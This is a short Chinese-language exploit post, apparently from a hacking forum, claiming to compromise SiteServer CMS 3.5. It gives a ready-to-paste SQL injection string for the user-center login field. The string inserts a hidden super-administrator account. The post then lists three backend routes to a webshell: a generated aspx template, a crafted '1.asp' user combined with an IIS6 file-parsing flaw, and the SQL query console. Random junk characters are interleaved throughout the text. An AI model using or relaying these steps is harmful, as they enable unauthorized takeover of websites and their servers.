经测试秒杀最新的3.5版+ C8 D% o( h9 G1 S6 z) X
stieserver官网:www.siteserver.cn* x: w3 h( m- H1 d
EXP:, d* {, i- [/ V' v% A" d0 Z7 Y& K
直接访问UserCenter/login.aspx3 i" r# i4 g2 z& w& ?+ ?4 @
用户名处输入:4 {1 V: C3 ~7 W( i- h X8 n7 L
i! m+ I: p6 W" z) b: \$ {
123′insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values(‘blue’,'VffSUZcBPo4=’,'Encrypted’,'i7jq4LwC25wKDoqHErBWaw==’);insert into bairong_AdministratorsInRoles values(‘Administrator’,'blue’);insert into bairong_AdministratorsInRoles values(‘RegisteredUser’,'blue’);insert into bairong_AdministratorsInRoles values(‘ConsoleAdministrator’,'blue’);–, c2 O/ i4 E4 D
密码为空,输入验证码后提交,既可向数据库中插入一个用户名为blue 密码为lanhai的超级用户。! Z9 R# w1 P. b1 ]# h
之后再访问后台SiteServer/login.aspx用插入的用户登陆
* u) J T$ J* m$ k, O# v: G后台拿webshell的三种方法:
+ W( k Q, e1 Y5 p8 b一、
' m2 W* ?- a4 z# @9 m站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx e& y5 a2 U0 @0 G( | C( o
二、
6 y7 V5 p! v0 [5 Z+ s5 t成员权限-》添加用户-》用户名为:1.asp
2 N2 n. @4 Y' _) I1 s/ J. yhttp://127.0.0.1/usercenter/
7 Y" h, p, j# l8 e' [8 e用刚才添加的1.asp去登陆,进去之后上传个人头像,利用IIS6解析漏洞得webshell
$ A& c$ b! i# Y a9 S6 c(ps:后台添加用户时不会验证是否含有非法字符)4 a Z$ I6 h( \$ }, Y; z
三、
# E% i6 M* J7 G! D5 k) o& T2 p9 C系统工具-》实用工具-》机器参数查看
% F$ v- k j+ r( i4 I8 H可以看到数据库类型、名称,WEB路径0 A5 ^' V( v& e+ a* d- P
系统工具-》数据库工具-》SQL语句查询7 i4 @, h' [2 L3 e
这功能做的不错,直接就相当于一个查询分析器,什么回显都有,可以backup得webshell,或者利用sqlserver配置不当直接XXOO |